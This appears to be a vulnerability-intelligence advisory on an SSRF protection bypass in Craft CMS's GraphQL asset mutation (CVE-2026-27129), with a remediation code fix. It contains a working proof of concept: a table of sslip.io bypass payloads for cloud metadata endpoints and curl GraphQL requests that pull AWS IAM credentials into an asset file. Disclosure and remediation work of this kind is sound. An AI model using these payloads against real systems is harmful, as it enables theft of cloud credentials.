Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-27129 is a medium severity vulnerability with a CVSS score of 6.5. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.
This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).
Exploitation requires GraphQL schema permissions for:
<VolumeName> volume<VolumeName> volumeThese permissions may be granted to:
From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"
When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.
+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL |
| http://fd00-ec2--254.sslip.io/latest/meta-data/ |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') |
| -> No A record exists |
| -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check |
| in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) |
| -> FALSE (string != IPv4 addresses) |
| -> VALIDATION PASSES |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request |
| -> Resolves DNS (including AAAA records) |
| -> Gets IPv6: fd00:ec2::254 |
| -> Connects to AWS IMDS IPv6 endpoint |
| -> CREDENTIALS STOLEN |
+-----------------------------------------------------------------------------+
| Vendor | Product |
|---|---|
| Craftcms | Craft Cms |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |
|----------------|--------------|-----------------|----------------|
| AWS EC2 IMDS | 169.254.169.254 | fd00:ec2::254 | http://fd00-ec2--254.sslip.io/ |
| AWS ECS | 169.254.170.2 | fd00:ec2::254 (via IMDS) | http://fd00-ec2--254.sslip.io/ |
| Google Cloud GCP | 169.254.169.254 | fd20:ce::254 | http://fd20-ce--254.sslip.io/ |
| Azure | 169.254.169.254 | No IPv6 endpoint | N/A |
| Alibaba Cloud | 100.100.100.200 | No documented IPv6 | N/A |
| Oracle Cloud | 192.0.0.192 | No documented IPv6 | N/A |
| Target | IPv6 Address | Bypass Payload |
|--------|--------------|----------------|
| IPv6 Loopback | ::1 | http://0-0-0-0-0-0-0-1.sslip.io/ |
| AWS NTP Service | fd00:ec2::123 | http://fd00-ec2--123.sslip.io/ |
| AWS DNS Service | fd00:ec2::253 | http://fd00-ec2--253.sslip.io/ |
| IPv4-mapped IPv6 | ::ffff:169.254.169.254 | http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/ |
# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)
# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
}'
# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
}'
The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).
url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:
// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
$records = [];
}
// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
'fd00:ec2::', // AWS IMDS, DNS, NTP
'fd20:ce::', // GCP Metadata
'::1', // Loopback
'fe80:', // Link-local
'::ffff:', // IPv4-mapped IPv6
];
foreach ($records as $record) {
// Check IPv4 (existing logic)
if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
return false;
}
// Check IPv6 (NEW)
if (isset($record['ipv6'])) {
foreach ($blockedIPv6Prefixes as $prefix) {
if (str_starts_with($record['ipv6'], $prefix)) {
return false;
}
}
}
}
| Mitigation | Description |
|------------|-------------|
| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |
| Use dns_get_record() | Resolves both IPv4 and IPv6 |